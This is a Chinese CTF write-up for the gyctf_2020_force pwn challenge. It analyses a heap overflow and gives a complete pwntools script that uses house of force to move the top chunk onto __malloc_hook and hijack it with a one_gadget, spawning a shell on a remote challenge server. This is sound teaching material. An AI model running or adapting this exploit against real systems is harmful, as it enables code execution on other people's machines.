malloc_hook

文章发布时间:

最后更新时间:

glibc2.30后增加了对malloc的检查,malloc_hook手法已经不可用
直接上例题
gyctf_2020_force
checksec

1
2
3
4
5
6
[*] '/var/run/vmblock-fuse/blockdir/Zf5bfF/force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

看看add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_A20()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size); //没有限制chunk_size
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);//会打印堆地址
puts("content");
read(0, (void *)*i, 0x50uLL);//存在堆溢出,当申请的chunk_size < 0x50时
puts("done");
return __readfsqword(0x28u) ^ v4;
}

one_gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

先打house_of_force,拿捏top_chunk
同时,在分配第一个chunk时,程序还会打印出bin_addr,可以利用此泄露libc_addr

__realloc_hook 和 __malloc_hook这两个钩子函数是相邻的,我们可以利用同一个chunk来劫持__malloc_hook为realloc+0x10,并劫持__realloc_hook为one_gadget

再次执行malloc即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
#p = process('./force')
p = remote('node4.buuoj.cn',27065)
libc = ELF("buu_libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()

def add(size, content):
p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil(b"bin addr ")
info = p.recvuntil("\n", drop=True)
# print(info)
info = int(info.decode("ISO-8859-1"), 16)
p.recvuntil("content\n")
p.send(content)
return info

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0 #gdb找偏移,leak_libc_base && house_of_force拿捏topchunk
success('libc_base'+hex(libc.address))

heap_addr = add(0x18,b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #leak_heap_addr &&修改topchunk的size为0xFFFFFFFFFFFFFFFF
success("heap_addr:"+hex(heap_addr))
top = heap_addr + 0x10 #leak_topchunk_addr

malloc_hook = libc.sym['__malloc_hook'] #get_malloc_hook_addr
success("malloc_hook:"+hex(malloc_hook))

realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search(b'/bin/sh')

success("system:" + hex(system))
success("bin_sh:" + str(bin_sh))

#debug()

#one_gadget + libc.address -> 计算偏移,使topchunk落在malloc_hook处
#此时申请一个chunk,就可以实现修改malloc_hook和realloc_hook
add(offset-0x30,b'aaa\n')
add(0x30,b'a'*8+p64(one_gadget[1] + libc.address)+p64(realloc+0x10))#hijack_malloc_hook

#再次执行malloc,即可getshell
p.recvuntil("2:puts\n")
p.sendline('1')
p.recvuntil("size\n")
p.sendline(str(20))

p.interactive()